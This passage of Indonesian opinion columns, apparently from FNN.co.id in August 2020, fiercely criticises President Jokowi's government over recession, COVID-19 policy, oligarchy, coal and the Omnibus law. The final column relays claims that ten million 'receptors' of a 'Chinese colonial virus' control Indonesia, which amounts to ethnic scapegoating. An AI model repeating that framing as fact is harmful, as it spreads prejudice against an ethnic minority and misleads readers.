lagi. Jokowi akan merasakan itu. The moment of truth akan membentang dengan sendirinya. Jika dilihat dari perangai rakus para pengusaha besar, kecil kemungkinan mereka akan perduli terhadap krisis yang bakal terjadi. Hubungan erat mereka dengan para penguasa, tidak akan menggugah mereka. Semua akan menyelamatkan diri sendiri lebih dulu. Menyelamatkan kekayaan. Menyelamatkan keluarga dan bisnis mereka. Berharapkah Anda pada orang-orang yang tidak merasa sebagai bagian dari bangsa dan negara ini? Jika Anda berharap, berarti Anda sedang bermimpi indah. Anda berhayal. Berhayal kalau-kalau kebijakan yang selama ini sangat memihak mereka, akan membuat mereka terpanggil untuk sehidup semati menghadapi krisis. Yang bukan hayalan adalah rakyat Indonesia akan berjuang sendiri. Saling menolong antara sesama. Antara rakyat Indonesia sejati dengan kepribadian asli anak negeri. Antara sesama rakyat yang berhati, pastilah akan saling perduli. Saling berbagi. Ketimbang mengharapkan para pengusaha besar dan konglomerat rakus akan berjuang bersama-sama mengatasi dan melewati krisis, jauh lebih baik kalau Anda menjadi ‘pungguk yang merindukan Bulan’. Atau, lebih bagus jika Anda meletakkan ‘panggang jauh dari api’. Boleh jadi kerinduan pungguk pada Bulan akan lebih realistis ketimbang menghayalkan para pengusaha besar berjibaku menghadapi krisis. Dan menunggu panggang jauh dari api mugkin lebih menjajikan ketimbang berharap para konglomerat perduli terhadap rakyat yang dicekik krisis itu. Para pengusaha besar dan konglomerat rakus pasti akan memakai filosofi asap. Asap tidak pernah menunggui kebakaran yang berkecamuk. Asap cepat-cepat meninggalkan lokasi, terbang menjulang. Dalam konteks ini, para pengusaha dengan akumulasi duit super besar pasti akan langsung terbang bersama kekayaan moneternya begitu api krisis makin membesar. Dan, ingat, krisis besar itu sudah di depan mata. Para pemilik “uang tak berseri” akan mengangkasa. Itu artinya, tak lama lagi Jokowi akan ditinggal sendiri. Karena itu, mulai sekarang rakyat perlu senantiasa waspada. Rakyat harus antisipatif. Kaoalisi Aksi Menyelamatkan Indonesia (KAMI) sudah benar dalam menyampaikan thesis mereka tentang keadaan suram dan seram yang bakal terjadi. Sudah benar tekad mereka untuk berjuang agar rakyat sedapat mungkin tidak terhempas terlalu keras. Dan agar navigasi arah bangsa dan negara tidak dirampas oleh kelompok bandit domestik atau internasional. KAMI sudah melihat proyeksi kemiskinan dan pemiskinan yang mengerikan akibat krisis ekonomi. Dan kehancuran ekonomi itu bisa berkembangan menjadi krisis jamak-dimensi (multi-dimensional). Tidak banyak waktu untuk disia-siakan. Kita berharap agar Presiden Jokowi fokus menghadapi kemungkinan yang sangat membahayakan. Indonesia masih bergelut di ruang yang samar-samar dalam penanganan wabah Covid-19. Memberikan perhatian serius ke urusan pilkada keluarga, termasuk menyia-nyiakan waktu. Presiden harus mampu memberikan arahan atau “lead” kepada tim kabinet. Jangan sampai terbalik membaca “lead” menjadi “deal”. Kita semua sedang terancam. Penuslis adalah Wartawan Senior FNN.co.id

Sebentar Lagi Jokowi Rontok

by M. Rizal Fadillah Jakarta FNN – Sabtu (15/08). Semangat perubahan di kalangan rakyat, sejauh ini terlihat sudah mulai merata. Keberanian untuk menyatakan bahwa pemerintahan ini lemah, otoriter, gagal, bahkan bobrok sudah tumbuh. Gumpalan perlawanan politik secara politik juga mulai terbentuk. Merata hampir para semua kelompok masyarakat. Seruan agar Jokowi mundur akan terus bergaung. Pemerintahan Jokowi bakal kesulitan untuk bertahan, karena jika rakyat sudah berteriak mundur, maka tak akan ada kekuatan yang mampu untuk meredam. Semua pendukung termasuk elit kekuasaan akan berlompatan sana-sini untuk menyelamatkan diri masing-masing. Mencari sekoci sendiri-sendiri, yang bersama “sekoci keselamatan”. Lahirnya Koalisi Aksi Menyelamatkan Indonesia (KAMI) akan menjadi "trigger" perubahan tersebut. Kumpulan tokoh yang bersatu menyerukan kebenaran dan keadilan akan menumbuhkan kepercayaan rakyat. Akan tumbuh kekuatan cifil society untuk membebaskan diri dari belenggu ketidakberdayaan dan keterpinggiran. Ada harapan baru yang dapat digantungkan. Kebersamaan dan konsolidasi kekuatan yang efektif dan efisien mulai terbentuk. Hampir merata di seluruh Indonesia. Bahkan ada yang di luar negeri, termasuk beberapa negara Eropa dan Skandinavia. Momentum perubahan tersebut akan segera datang. Dari aspek spiritualitas itu dinamakan "ajal telah tiba" sebagaimana Qur'an mengingatkan "idzaa jaa-a ajaluhum laa yasta'khiruuna saa'atan wa laa yastaqdimuun"---Jika momen telah tiba, maka tak ada yang mampu mempercepat atau mengundurkan (QS Al Al'raf 34). Pesan inilah yang dalam bahasa konstitusi terkenal dalam penggalan kalimat "Atas berkat Rahmat Allah Yang Maha Kuasa" yang kemudian menyebabkan "rakyat Indonesia menyatakan dengan ini kemerdekaannya". Kemerdekaan yang diperjuangkan dari tangan pemerintahan yang tidak melaksanakan amanah dan perintah konstitusi. Pemerintahan yang tidak melindungi segenap bangsa dan tumpah darah Indonesia. Namun melindungi kepentingan bangsa lain. Tidak memajukan kesejahteraan umum. Namun memajukan kesejahteraan bangsa lain. Juga tidak mencedaskan kehidupan bangsa. Namun mencerdaskan kehidupan bangsa lain. Seorang Jokowi sebagaimana penguasa-penguasa lainnya, akan gentar jika teriakan terus menggema. Konsekuensi pilihan hanya dua, yaitu mempertahankan singgasana dengan segala cara melalui pengerahan kekuatan represif atau menyerah dan mengalah demi keselamatan bersama. Keselamatan seluruh rakyat negeri ini. Tentu saja pilihan kedua adalah yang lebih arif dan bijaksana. Langkah dan keputusan untuk mengundurkan dirim walau dengan terpaksa itu lebih baik dan berkekals. Bakal dikenang sepanjang masa sebagai bapak bangsa. Mengutamakan kepentingan dan keselamatan bangsa dan negara di atas kepentingan pribadi dan kelompok. Pukulan telah dilancarkan berulang-ulang, baik "jab-jab" maupun "hook". Terutama diarahkan kepada kebijakannya yang elitis tidak populis. Ketika populis pun ternyata bermotif pencitaan. Tinggal menunggu langkah "blunder" yang emosional, agar rakyat melepaskan pukulan "upper cut" yang menggoyahkan. TKO atau KO. Jokowi pun rontok dan rakyat bernafas lega. Selanjutnya merencanakan pemulihan untuk masa depan yang lebih baik. Tanggal 17 Agustus nanti adalah hari kemerdekaan kita. Tanggal 18 Agustus adalah hari kelahiran ideologi dan konstitusi kita. Mari bersama-sama menyelamatkan Indonesia. Jangan biarkan rakyat dijajah oleh pemimpin dari bangsanya sendiri. Allahu Akbar-Allahu Akbar. Merdeka ! Penulis adalah Pemerhati Politik dan Kebangsaan.

Pemerintahan Jokowi Sudah Terlilit Resesi

by Dr. Margarito Kamis, SH.M.Hum Jakarta FNN – Sabtu (15/08). Indonesia sedang terlilit resesi ekonomi? Para ekonom masih terus berbeda pendapat soal ini. Terlepas dari itu, satu hal pasti resesi ekonomi tidak dapat disamakan dengan depresi, apalagi great depression. Itu jelas. Skala kerusakan yang dibawanya tidak sedahsyat kerusakan yang dibawa great depression. Itu juga jelas. Masalahnya resesi ekonomi itu merupakan wujud dari salah urus di pemerintahan. Indonesia memiliki sejarah tentang itu. Performa pemerintahanlah yang memicu resesi ekonomi. Dan perpaduan keduanya justru menenggelamkan pemerintah yang sedang berkuasa. Resesi Pemerintahan Tepat dititik itulah masalah yang sedang melilit Indonesia saat ini? Tindakan-tindakan pemerintahan yang telah diambil sejauh ini, terlihat memperbesar spektrum masalah. Bukan menyelesaikan masalah. Dinamikan masalah itu terus membesar sejauh ini. Tidak mau mendeklarasikan negara berada dalam “keadaan darurat Kesehatan” nyatanya malah menghasilkan masalah baru. Memberlakukan PSBB, dengan asumsi ekonomi dapat terus bergerak positif, nyatanya malah negatif dalam banyak aspek. Salah dan salah lagi. Corona menggila dan menyebar hampir ke seluruh Indonesia. Kenyataan ini direspon dengn cara, bukan karantina wilayah, tetapi pembatasan pergerakan orang. Nyatanya corona malah menggila, dan ekonomi terpukul sangat fatal. Uang susah, PHK dimana-mana, produksi dan distribusi barang kelimpungan. Negara harus dapat memberi kepastian bahwa rakyatnya tetap bisa makan. Sialnya kas negara ternyata tak sehebat yang digambarkan pemerintah. Kenyataan itu memaksa Presiden Jokowi menggunakan senjata tata negara daruratnya. Terbitlah Peraturan Pemerintah Pengganti UU Nomor 1 Tahun 2020, yang judulnya kelewat panjang itu. Berambisi menggunakan Perpu membereskan masalah keuangan, tetapi yang terjadi justru sebaliknya. Bukan hanya uang semakiin sulit tersedia, tetapi juga muncul masalah baru yang jauh lebih mendasar. Perpu ini mencincang dan memberangus habis kewenangan hak budgeting DPR, dan mengonslidasi diskriminasi. Tetapi apapun itu, Presiden harus terus bergerak dalam citarasa negara kesejahteraan. Tidak boleh salah. Entah berapa triliun digelontorkan untuk bantuan sosial. Sialnya bantuan ini berbentuk barang, bukan duit. Ada pengelolanya. Adakah margin pada setiap pembelian barang? Itulah persoalnya. Tak berhenti disitu. Dua puluh tirliun rupiah dialokasikan pemerintah untuk menangani derita kredit Usaha Kemengah Kecil dan Mikro (UMKM). Mirip Bansos, alokasi ini dilakukan melalui Bank BUMN. Kalau UMKM itu punya utang di Bank, apa bank tidak memotong jatah jatah yang harus diterima UMKM? Itu juga soal lain. Tertolongkah UMKM? Rasanya yang lebih tertolong adalan bank kreditor dan korporasi besar yang punya bank. Belakangan muncul kebijakan bnaru. Pemerintah memberi subsidi tunai sebesar Rp. 600,- kepada pekerja swasta bergaji dibawah lima juta. Hebatkah itu? Tunggu dulu. Mengapa? Kebijakan itu dapat tafsir sebagai pemerintah mengambil alih tanggung jawab korporasi. Ini sisi buruk negara kesejahteraan khas liberal. Pemerintah menolong korporasi, tetapi agar tak terlihat persis seperti itu, maka alokasinya langsung diberikan kepada pekerja. Korporasi terus berjaya. Relaksasi kredit dan perpanjangan masa klaim restitusi pajak, dan perlakuan khusus lainnya kepada mereka, semuanya diotorisasi Perpu Nomor 1 Tahun 2020. Liberalisasi perdagangan, pengistimewaan korporasi sawit dan tambang, juga terus menjadi aroma tak sedap pemerintahan ini. Berstatus konstitusi sebagai penyelenggaraan otonomi daerah, pemerintah pusat malah membolehkan pemerintah daerah berutang ke pemerintah pusat. Malang betul rakyat daerah. Pemerintah daerah itu bukan negara bagian. Di negara Serikat sekalipun, pemerintah pusat akan menangani masalah-masalah berat di negara bagian. Tentu beratnya masalah itu melampaui kapasitas pemerintah Negara bagian. Ini negara kesatuan, tetapi pemerintah pusat malah mengutangi pemerintah daerah. Konyol, ngawur dan amburadul sekali. Persis pemerintah pusat, pemerintah daerah juga sedang berada dalam keadaan yang, untuk alasan apapun, memiliki pertalian ketat dengan pusat. Siapa yang mengotorisasi pemerintah daerah mengubah postur peruntukan anggaran pada APBD-nya? Siapa yang memberikan otorisasi kepada daerah untuk menetapkan PSBB? Terlihat seperti beralih dari satu kekeliruan ke kekeliruan. Proyeksi anggaran pemulihan ekonomi, dalam kenyataannya terus-terusan meleset. Berubah-rubah hampir setiap bulan. Begitu juga dengan Perpres tentang organiasi penangangan Corona. Paling sedikit sudah tiga kali berubah. Sialnya itu terjadi dalam waktu berdekatan. Tak mampu mendefenisikan masalah, terasa menjadi ciri paling jelas dari pemerintahan ini. Entah bagaimana argumennya, rakyat diingatkan jangan sampai Indonesia terjatuh pada pandemi corona gelombang kedua. Padahal sejauh ini tidak ada tindakan administrasi yang menyatakan etape-etape itu. Payah sekali pemerintah ini. Terus Merosot Pemerintah memang terus berusaha menemukan fokus dalam menangani keadaan mutakhir. Tetapi pemerintah malah menjauh dari fokus itu. Kebijakan-kebijakan yang terus berdatangan hingga hari ini, selalu seperti biasa, jauh dari penalaran yang logis. Asal-asalan, ngawur, ngaco, amatiran dan amburadul. Menggemakan hasrat membuat bangsa hebat, tetapi mengutamakan kandidat vaksin dari China. Andai saja kandidat ini sukses jadi vaksin untuk disuntikan kepada jutaan rakyat Indonesia, maka Indonesia menjadi pasar utama vaksin temuan China ini. Yang seperti ini, konyol apa hebat? Bukannya mengambil tindakan kepada menteri, malah bergairah menyalahkan mereka secara terbuka. Cara ini layak dan patutu untuk ditertawakan. Tidak begini cara menangani masalah internal pemerintahan. Tetapi memang tidak ada jalan berkelas dan membanggakan yang bisa dilalui pemerintahan yang telah terlilit resesi. Memimpikan persatuan nasional, tetapi kehidupan sosial dan agama terbelah secara kasar dan primitif di disepanjang rute perjalanan pemerintahan ini. Kenyataan ini terhubung, bahkan memiliki akar kuat dalam kebijakan politik dan hukum pemerintah. Postur Indonesia mutakhir menjadi seperti lautan ganas buat ummat beragama. Betul-betul menakutkan. Dalam pidato kenegaraan di MPR, Presiden Jokowi memang tidak menujuk ummat Islam yang gigih menolak RUU HIP, yang belakangan hendak diganti dengan RUU BPIP. Betul itu. Tetapi pernyataan resminya bahwa jangan ada yang merasa paling benar, paling agamis dan Pancasilais, jelas tertuju pada ummat Islam. Sekurang-kurangnya tertuju kepada MUI. Ini karena MUI dan ummat Islam berada di barisan paling depan penolakan terhadap RUU HIP konyol dan ngawur itu. Padahal tak ada tokoh MUI dan ummat Islam yang secara terbuka menyatakan saya Pancasila. Tak ada itu. Tetapi itulah kenyataannya. Politik pembentukan dan penegakan hukum bergerak menjauh dari citarasa kemanusiaan yang adil dan beradab. Politik pembentukan hukum dibidang ekonomi digemakan dengan cita rasa ekonomi kapitalistik. Politik pemihakan kepada kepentingan korporasi dan oligarki. Rakyat seperti berjuang sendiri menghadapi terkaman korporasi licik, picik, tamak dan culas. UU Nomor 3 Tahun 2020 tentang Pertambangan Umum dan Batumabara, RUU Omnibus Cipta Kerja dan adalah contohnya. RUU Omnibus saat ini malah dikampanyekan secara serampangan sebagai permata UMKM. Terus-terusan UMKM yang ditonjolkan. Padahal semangat RUU Omnibus Cipta Kerja untuk kepentingan korporasi dan oligarki. Tahukah bahwa itu adalah cara kaum kaya ganas menyembunyikan kepentingan mereka? UMKM dijadikan tameng menyembunyikan konsep sentralisasi perizinan untuk hampir semua urusan tambang, tata ruang, dan bangunan yang saat ini diletakan di daerah. Namun kalau dalam RUU Omnibus konyol itu, semua urusan akan berpindah dan terkonsentrasi di pusat. Begitulah ganasnya kaum kaya dan politisi pas-pasan, picisan, kacangan, odong-odong, keleng-kaleng dan beleng-beleng berkolaborasi merencanakan kejahatan kepada rakyat. Baca di RUU Omnubis Law Cipta Kerja. Isi kepala kaum kaya adalah sentralisasikan semua izin. Korporasi Tunggangi UMKM Itulah cara mereka orang kaya memberi bentuk terhadap efisiensi dan menciptakan iklim investasi yang menguntungkan mereka. Supaya sukses, maka konsep-konsep yang bergelimang uang, yang menjadi permata untuk mereka, disembunyikan dibalik kepentingan UMKM. UMKM dijadikan sebagai bumpar menghadapi perlawanan terhadap RUU ngawur ini. Tidak seperti bangsa lain yang tahu cara mencapai kemajuan. Bangsa ini terus didayung ke lautan kapitalisme. Tahukah cara kerjanya? Mengontrol pembentukan dan penegakan hukum. Juga mengontrol atau menempatkan orang pemerintahan adalah salah satu cara mereka. Itulah formula proteksi sekaligus kartel. Ini cara klasik. Dimana-mana, kartel tumbuh dengan mengandalkan perlindungan gelap dari aparatur kotor. Agar tak terlihat kotor, maka proteksi itu diatur dengan hukum. Itulah yang sadar atau tidak, sedang terkonsolidasi dalam dunia hukum ekonomi Indonesia saat ini. Optimisme mengamankan masa depan memang disajikan pemerintah. Tetapi cara dan rute yang diandalkan berjarak jutaan mil dari Pancasila. Orisinalitas gagasan ekonomi dan hukum yang bersumber dari Pancasila, harus diakui, tak terlihat sejauh ini. Pragmatisme memang bukan hantu. Pragmatisme diperlukan, dan harus diadaptasikan dalam citarasa idologis. Keberanian inovatif dan kecemerlangan mengadaptasikan cara-cara hebat yang mengunggulkan bangsa lain dengan haluan idiologis, itulah kuncinya. Tidak mudah, itu pasti. Tetapi justru tepat dititik itulah letak berjayanya kapasitas leradership. Sayangnya sejauh ini Presiden terlihat tak dapat bergerak ke titik itu. Tahun depan utang diproyeksikan berjumlah Rp. 971,2 triliun rupiah. Praktis impian Presiden yang disajikan dalam pidato kenegaraan kemarin, menandai segalanya masih bussines as usual. Kemerosotan di berbagai aspek berbangsa terlihat masih terus menemani bangsa ini ditahun depan. Penulis adalah Pengajar HTN Universitas Khairun Ternate.

Duo Fahri dan Fadli Memang Beda?

by Hersubeno Arief Jakarta FNN - Sabtu (15/08). Duo Fahri Hamzah dan Fadli Zon akhirnya bertemu dengan Presiden Jokowi. Kamis (13/8) keduanya menerima penghargaan Bintang Mahaputera Nararya di Istana Merdeka. Kehadiran keduanya menyudahi spekulasi yang berkembang dalam minggu ini. Apakah mereka akan menerima atau tidak? Sekaligus membuka sebuah operasi politik, yang dikemas secara kurang apik oleh pihak istana. Sejak muncul informasi Duo F akan menerima Bintang Mahaputera, pro kontra bermunculan. Kubu pendukung Presiden Jokowi sangat kecewa dan menyatakan keberatan. Maklumlah keduanya selama ini dikenal sangat kritis dan sering menyerang secara tajam berbagai kebijakan pemerintah Jokowi. Mereka menjadi bintang media. Berbagai pernyataannya sering membuat panas telinga. Apalagi kubu pendukung pemerintah yang berkuping tipis. Duet keduanya sangat menonjol ketika masih sama-sama menjabat sebagai Wakil Ketua DPR (2014-2019). Oleh kubu pendukung Jokowi, dijuluki sebagai Duo Gaduh. Pada saat bersamaan kubu oposisi juga menyatakan keberatan atas penghargaan ini. Mereka khawatir penghargaan ini merupakan sogokan agar keduanya diam, atau setidaknya lebih jinak. Akhirnya, Fahri dan Fadli dibully di kedua kubu, dengan motif yang berbeda. Pencitraan Istana Heboh itu bermula Senin (10/8). Melalui akun twitternya Menko Pulhukam Mahfud MD mengumumkan Fahri dan Fadli akan mendapat Bintang Mahaputera Nararya. Pilihan Mahfud menyebut dua nama itu pasti bukan tidak disengaja. Benar saja. Tak lama setelah cuitan Mahfud, media ramai-ramai memblow-up. Pro kontra di media sosial bermunculan, melibatkan nama-nama besar. Tak kurang petinggi media Tempo Group Goenawan Mohammad mengekspresikan kekecewaan. Demikian juga sejumlah buzzer pendukung pemerintah. Mereka menggunakan kata “izinkan kami tidak ikhlas.” Penjelasan Fahri dan Fadli bahwa penghargaan itu diberikan dalam kapasitas mereka sebagai mantan Wakil Ketua DPR tidak meredakan kehebohan. Sementara kubu oposisi mendorong agar keduanya menolak penghargaan tersebut. Jika menerima, berarti pengkhianat. Belakangan ketika penghargaan diserahkan, ternyata bukan hanya Fahri dan Fadli yang menerima. Sejumlah mantan pimpinan lembaga negara, mulai dari DPD, MPR juga menerimanya. Semua pimpinan DPR, termasuk mantan Ketua DPR Bambang Soesatyo dan Wakil Ketua DPR dari Fraksi Demokrat Agus Hermanto juga menerima bintang. Hanya mantan Wakil Ketua DPR dari Fraksi PAN Taufik Kurniawan yang tidak. Taufik saat ini tengah menjalani hukuman. Dia divonis 6 tahun penjara setelah dicokok KPK dalam kasus suap. Jadi harusnya clear. Penghargaan ini diberikan dalam kapasitas keduanya sebagai mantan pimpinan DPR. Tidak ada kait-mengait dengan sikap kritis mereka selama ini. Pertanyaannya, mengapa Mahfud hanya menyebut keduanya? Pemerintah juga terkesan membiarkan isu tersebut berkembang liar. Saat bertemu di Istana, Jokowi juga terkesan memanfaatkan panggung tersebut. Dia secara khusus memberikan penjelasan kepada pers bersama Wapres Ma’ruf Amin didampingi Duo F. Jokowi juga mempersilakan Fahri dan Fadli bicara ke media. Terkesan spesial. Agak sulit untuk membantah bahwa pemerintah, dalam hal ini istana mencoba memanfaatkan momen tahunan itu sebagai ajang pencitraan. Mereka ingin membangun kesan bahwa pemerintahan Jokowi sangat demokratis. Menghargai perbedaan. Tidak alergi terhadap kritik. Bahkan terhadap yang sangat keras seperti biasa dilakukan oleh duet Fahri dan Fadli. Pemeritahan Jokowi selama ini mendapat banyak kecaman dari dalam dan luar negeri sebagai pemerintahan yang anti kritik. Pengamat dari Universitas Melbourne, Australia Tim Lindsey bahkan menyebutnya sebagai “Neo New Order”. Neo Orde Baru mengingatkan kita pada pemerintahan yang represif di masa Soeharto. Sampai batas tertentu operasi public relation itu cukup berhasil. Duo F menjadi pelengkap penderita. Mereka menolak salah. Menerima juga salah. Publik, terutama kalangan oposisi kini tengah menunggu. Apakah setelah mendapat penghargaan, Duo F akan menjadi lebih jinak? Bila benar, maka kecurigaan mereka bahwa Bintang Mahaputera Nararya itu berupa sogokan. Suap agar keduanya diam, atau setidaknya lebih jinak, mendapat pembenaran. Namun melihat track record keduanya, kalau toh benar itu merupakan upaya rasuah politik, efektivitasnya sangat diragukan. Fadli Zon secara formil bagian dari pemerintah. Partai Gerindra pendukung pemerintah. Ketua Umum Partai Gerindra Prabowo Subianto pembantu Jokowi. Namun dia tetap bersikap kritis. Sikapnya tidak berubah. Bagimana dengan Fahri? Ini masih perlu dibuktikan. Publik mulai curiga ketika dia bersama pengurus DPN Partai Gelora bertandang ke istana dan berselfie ria bersama Jokowi. Namun bila kita tengok ke beberapa tahun silam, Fahri juga sudah membuktikan sebagai pribadi yang konsisten. Kukuh pada prinsip. Menjadi bagian dari pemerintah, tidak harus kehilangan sikap kritis. Ketika PKS selama dua periode menjadi bagian dari pemerintahan SBY (2004-2014) Fahri juga tetap kritis. Dia menjadi “anak nakal” yang sering merepotkan petinggi PKS. Apalagi dengan posisinya sekarang sebagai Wakil Ketua Umum Partai Gelora. Bukan pendukung pemerintah maupun oposisi. Bukan 01, bukan 02. Tidak ada beban apapun untuk Fahri. Waktu yang akan membuktikan. Apakah keduanya jenis politisi yang berbeda? Penulis adalah Wartawan Senior FNN.co.id.

Sindikat Batubara Bikin Kantong Pemerintah Kerontang

by Salamuddin Daeng Jakarta FNN – Sabtu (15/08). Batubara telah menjadi penopang utama Pemerintahan Jokowi sejak pertama menjabat Presiden 2014 lalu. Ini sumber uang terpenting yang menopang kekuasaan hingga pemilihan presiden tahun 2019 lalu. Meskipun presiden telah menandatangani kesepakatan perubahan iklim COP 21 Paris, namun batubara masih ditempatkan digaris depan sebagai penopang uang penguasa. Publik sudah mengingatkan bahwa kantong penguasa akan kering jika tetap bersandar pada batubara. Bahkan Bank Dunia dalam laporanya “The Long Road To Recovery” menggambarkan bahwa sandaran penguasa Indonesia pada batubara berbuah petaka. Ada tiga penyebab petaka tersebut. Pertama, sandaran ekspor batubara Indonesia pada Tiongkok menjadikan Indonesia tersandera pelemahan ekonomi Tiongkok. Kedua, serangan perang dagang USA Vs Tiongkok dan covid 19 telah membuat Indonesia kehilangan pasar batubara. Harga batubara juga rontok lebih dalam, sementara covid sendiri akan berlangsung lama. Ketiga, bersandarnya penguasa Indonesia pada batubara itu telah menyimpang dari kesepakatan penyelamatan lingkungan global yang telah ditandatangani Indonesia. Kesepakatan perubahan iklim COP 21 ditandatangani di Paris Francis. Dalam laporan Bank Dunia tersebut digambarkan bahwa nilai ekspor minyak dan gas, serta komoditas mentah lainnya, seperti batubara, sebagian besar mengalami kontraksi. Karena harga yang lebih rendah dikarenakan pelemahan ekonomi Tiongkok. Harga batu bara turun 28,9 persen yoy (Laporan Neraca Pembayaran, Q1 2020). Perang dagang USA VS Tiongkok yang bermuara pada kesepakatan Fase Satu mengharuskan China untuk mengimpor lebih banyak produk manufaktur, pertanian, jasa, dan energi dari Amerika Serikat. Sebagai negara pengekspor komoditas, dan dengan China sebagai importir utama, ekspor Indonesia ke China terpengaruh oleh perjanjian ini. Sementara batubara dan LNG merupakan komoditas ekspor utama. Masing-masing mencapai 53,7 persen dan 15 persen dari total ekspor pertambangan untuk tahun 2014-2018. Selama periode yang sama, China mengimpor 15,3 persen dari total impor batu bara dari Indonesia, sedangkan impor batu bara dari Amerika Serikat hanya menyumbang 1,6 persen dari total impor batu bara China. Demikian pula China mengimpor 9,2 persen dari total impor gas alam cair (LNG) dari Indonesia. Sedangkan impor LNG dari Amerika Serikat hanya sebesar 2,6 persen. Untuk itu, masuk akal, dan tidak mungkin, bahwa China mengalihkan sebagian impor energinya dari Indonesia ke Amerika Serikat, terutama batu bara dan gas alam, untuk memenuhi komitmen kesepakatan perdagangan, terutama terkait dengan covid. Terjadi penurunan permintaan batubara dan gas alam domestik di Cina. Selain itu, China adalah tujuan terbesar kedua untuk ekspor batubara Indonesia setelah India. Menyumbang sekitar 15,6 persen dari total ekspor batu bara Indonesia selama 2015–2019. Demikian pula, China adalah negara tujuan utama ketiga ekspor gas alam Indonesia, setelah Singapura dan Jepang. Dengan kesepakatan perdagangan Fase Satu perang dagang China Vs USA, maka ekspor Indonesia ke China diperkirakan akan turun sebesar USD 1,4 miliar pada tahun 2020–2021. Ini sebagai akibat langsung dari perjanjian tersebut, dan bahwa gas dan batubara menyumbang hampir setengah dari penurunan ekspor yang diharapkan. Selain efek pengalihan perdagangan dari Indonesia ke Amerika Serikat, kesepakatan perdagangan tersebut juga dapat memicu efek pengalihan investasi. Jika China mematuhi impor dari Amerika Serikat yang diatur dalam kesepakatan perdagangan untuk jangka panjang setelah 2021, investasi langsung di Indonesia dapat terganggu, terutama industri batubara dan LNG. Investasi ke industri batubara merupakan 26 persen dari realisasi investasi sektor pertambangan dari 2015 hingga 2019. Demikian pula, investasi ke industri batubara menyumbang seperempat dari investasi China di Indonesia pada periode yang sama. Menghadapi potensi permintaan China yang lebih rendah untuk batubara dan produk LNG Indonesia dalam jangka menengah, investor dapat memutuskan untuk mengurangi investasi di industri batubara dan LNG terkait masalah profitabilitas, yang mengarah pada prospek redup untuk industri batubara dan LNG Indonesia, menunggu tujuan ekspor pengganti baru. Selanjutnya ekspor LNG Indonesia ke China berpotensi diturunkan sebesar U$ 434,8 juta (sekitar 12,3 persen dari ekspor gas alam Indonesia tahun 2019 ke China). Sedangkan ekspor batubara dapat turun sebesar U$ 233,2 juta (sekitar 7,4 persen dari ekspor batubara Indonesia tahun 2019 ke China) di 2020–2021. Perhitungan staf Bank Dunia berdasarkan USTR, WITS, dan IMF WEO. Problem sangat krusial pemerintahan Jokowi adalah pelanggarannya terhadap konsesus internasional terkait perubahan iklim. Sebagaimana diketahui revisi yang baru-baru ini disetujui menjadi Undang-Undang Pertambangan Mineral dan Batubara 2020 membawa resiko pada kredibilitas pemerintahan Jokowi. Menurut bank dunia, revisi UU Minerba tersebut memberikan keleluasaan bagi perusahaan pertambangan untuk melakukan lebih banyak kegiatan eksplorasi. Juga menghilangkan segala batasan untuk melindungi ingkungan alam (ini termasuk penghilangan batas eksplorasi mineral lepas pantai). Menurut bank dunia, meskipun strategi ini dapat menghasilkan keuntungan jangka pendek dalam kegiatan ekonomi secara nasional. Namun sangat berisiko memperburuk pencemaran sumber daya lahan dan air, deforestasi dan degradasi hutan besar-besaran. Selain itu konflik atas akses ke lahan dengan masyarakat lokal. Perluasan produksi batubara-produk utama pertambangan di Indonesia tidak akan menjadi pertanda baik dengan tren permintaan global untuk energi bersih. Jika terus digunakan untuk produksi energi dalam negeri, akan semakin berkontribusi pada masalah polusi di Indonesia. Pada saat yang sama kantong pemerintah kering kerontang. Sebagai akibat dari kehilangan sumber pendapatan dan kehilangan kepercayaan dari publik internasional. Penulis adalah Peneliti Asosiasi Ekonomi dan Politik Indonesia.

Amien Rais: Jokowi Aktifkan Reseptor Ekspansionisme China

by Asyari Usman Jakarta FNN – Sabtu (15/08). Rabu kemarin (13/8/2020), tokoh Reformasi yang terkenal vokal, Prof. Amin Rais, menyampaikan semacam “pledoi” politik. Ini sebagai tanggapan terhadap kebijakan berbagai Presiden Jokowi. Acara berlangsung di komplek kuliner Pulau Dua, Senayan Jakarta. Tokoh politik yang tak pernah ‘kapok’ ini memberikan judul pledoinya “Pilihan Buat Pak Jokowi: Mundur atau Terus”. Pak Amien menamakan pledoi politik ini sebagai “Risalah Enteng-entengan”. Tapi, kontennya sangat berat. Inilah serangan politik dengan ‘lethal weapons’ (senjata maut). Risalah ringan Pak Amien ini berisi 13 poin. Beliau menyebutnya “bab”. Di antara ke-13 bab itu, ada beberapa poin penting yang secara kolektif berisi kesimpulan bahwa, sengaja atau tidak, Presiden Jokowi telah mengaktifkan reseptor untuk ambisi ekspansionisme China atas Indonesia. Resptor itu besar jumlahnya. Pak Amien memperkirakan ada sekitar 10 juta ‘cell’. Dan semua reseptor itu sangat ‘compatible’ (cocok) dengan virus kolonial China. Pak Amien tampaknya tidak berlebihan. Reseptor ekspansionisme China yang berjumlah 10 juta itu sudah lama mendominasi Indonesia. Mereka menguasai bisnis. Mereka menguasai matarantai produksi dan distribusi. Mereka juga menjadi pemain utama ekspor-impor. Dominasi ekonomi itu membuat jutaan reseptor memiliki kesempatan untuk menguasai percaturan politik Indonesia. Mereka mampu mendikte para pemegang kuasa di semua cabang kekuasaan, baik eksekutif, legislatif maupun yudikatif. Di bab ke-6 dengan judul “Tunduk Pada Mafia, Taipan, dan Cukong”. Prof Amien Rais selanjutnya menulis bahwa para penguasa negeri lebih fokus melayani para mafia, taipan dan cukong. Bahkan, kata penggerak Reformasi 1998 ini, mereka itu berlindung atau dilundungi oleh kekuasaan. Dalam kenyataannya, tidaklah keliru ketika Pak Amien mengatakan bahwa mereka bisa mengendalikan para penguasa untuk meloloskan rencana jahat di banyak aspek kehidupan nasional. Di poin sebelumnya, Bab 4, Pak Amien menguraikan tentang gaya otoriter yang sekarang diadopsi oleh Jokowi. Semua orang terperangah. Orang baik (good guy) bisa berubah menjadi “tangan besi”. Pak Amien menyebutnya dengan istilah “sosok populis yang bersubstansikan otoritarianisme”. Tetapi, menurut Pak Amien, Jokowi menerapkan kekuasaan otoriter untuk membungkam rakyat. Untuk menumpas kritik dan protes. Sedangkan terhadap kelompok-kelompok yang dia perlukan, dia cenderung ramah atau protektif. Yang sangat menarik adalah paparan di Bab 5 tentang pertumbuhan subur oligarkhi. Sekelompok elit, kata Pak Amien, pada hakekatnya memegang kekuasaan besar sampai-sampai bisa mengontrol dan mendiktekan kebijakan pemerintah. Kekuasaan otoriter adalah lahan subur oligarkhi. Sehingga, oligarkhi tidak lagi terbatas dalam jumlah kecil, melainkan beranak-pinak menjadi ratusan orang. Mereka 